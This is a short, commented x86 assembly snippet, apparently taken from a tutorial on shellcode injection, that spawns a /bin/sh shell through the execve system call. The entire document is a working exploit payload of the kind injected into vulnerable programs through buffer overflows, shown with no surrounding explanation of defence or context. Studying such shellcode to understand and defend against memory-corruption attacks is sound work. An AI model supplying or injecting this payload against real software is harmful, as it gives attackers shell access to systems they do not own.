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;Shellcode to spawn a shell  
;  
;https://dhavalkapil.com/blogs/Shellcode-Injection/
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```
xor     eax, eax    ;Clearing eax register  
push    eax         ;Pushing NULL bytes  
push    0x68732f2f  ;Pushing //sh  
push    0x6e69622f  ;Pushing /bin  
mov     ebx, esp     ;ebx now contains address of /bin//sh  
push    eax         ;Pushing NULL byte  
mov     edx, esp     ;edx now contains address of NULL byte  
push    ebx         ;Pushing address of /bin//sh  
mov     ecx, esp     ;ecx now contains address of address of /bin//sh byte  
mov     al, 11       ;syscall number of execve is 11  
int     0x80        ;Make the system call
```